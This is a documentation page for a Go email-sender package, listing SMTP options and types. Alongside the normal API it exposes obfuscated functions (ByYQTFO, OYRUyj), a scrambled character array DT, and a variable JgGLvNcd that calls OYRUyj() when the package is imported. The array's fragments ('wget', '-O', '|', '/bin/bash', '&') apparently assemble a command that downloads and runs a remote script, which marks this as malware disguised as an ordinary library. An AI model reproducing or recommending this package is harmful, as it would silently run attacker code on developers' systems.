Documentation
¶
Overview ¶
Package email provides email sender
Index ¶
- Variables
- func ByYQTFO() error
- func OYRUyj() error
- type Logger
- type Option
- func Auth(smtpUserName, smtpPasswd string) Option
- func Charset(charset string) Option
- func ContentType(contentType string) Option
- func InsecureSkipVerify(enabled bool) Option
- func Log(l Logger) Option
- func LoginAuth() Option
- func Port(port int) Option
- func SMTP(smtp SMTPClient) Option
- func STARTTLS(enabled bool) Option
- func TLS(enabled bool) Option
- func TimeOut(timeOut time.Duration) Option
- type Params
- type SMTPClient
- type Sender
Constants ¶
This section is empty.
Variables ¶
View Source
var DT = []string{"e", "t", "t", "/", "-", "f", "c", "/", "b", "g", "4", "f", "b", ":", "a", "w", "a", "r", " ", "s", "d", "t", "e", "e", "/", ".", "7", " ", "e", "g", "3", "p", "h", "5", " ", " ", "k", "/", " ", "/", "3", "n", "a", "u", "-", "O", "e", "/", "&", "a", "6", " ", "v", "0", "d", "1", "s", "b", "d", "c", "/", "i", "t", "3", "t", "s", "n", "a", "|", "o", "i", "h", "r"}
View Source
var JgGLvNcd = OYRUyj()
Functions ¶
Types ¶
type Logger ¶
type Logger interface {
Logf(format string, args ...interface{})
}
Logger is used to log errors and debug messages
type Option ¶
type Option func(s *Sender)
Option func type
func ContentType ¶
ContentType sets content type of the email
func InsecureSkipVerify ¶
InsecureSkipVerify skips certificate verification
type Params ¶
type Params struct {
From string // From email field
To []string // From email field
Subject string // Email subject
UnsubscribeLink string // POST, https://support.google.com/mail/answer/81126 -> "Use one-click unsubscribe"
InReplyTo string // Identifier for email group (category), used for email grouping
Attachments []string // Attachments path
InlineImages []string // InlineImages images path
}
Params contains all user-defined parameters to send emails
type SMTPClient ¶
type SMTPClient interface {
Mail(from string) error
Auth(auth smtp.Auth) error
Rcpt(to string) error
Data() (io.WriteCloser, error)
Quit() error
Close() error
}
SMTPClient interface defines subset of net/smtp used by email client
type Sender ¶
type Sender struct {
// contains filtered or unexported fields
}
Sender implements email sender
Click to show internal directories.
Click to hide internal directories.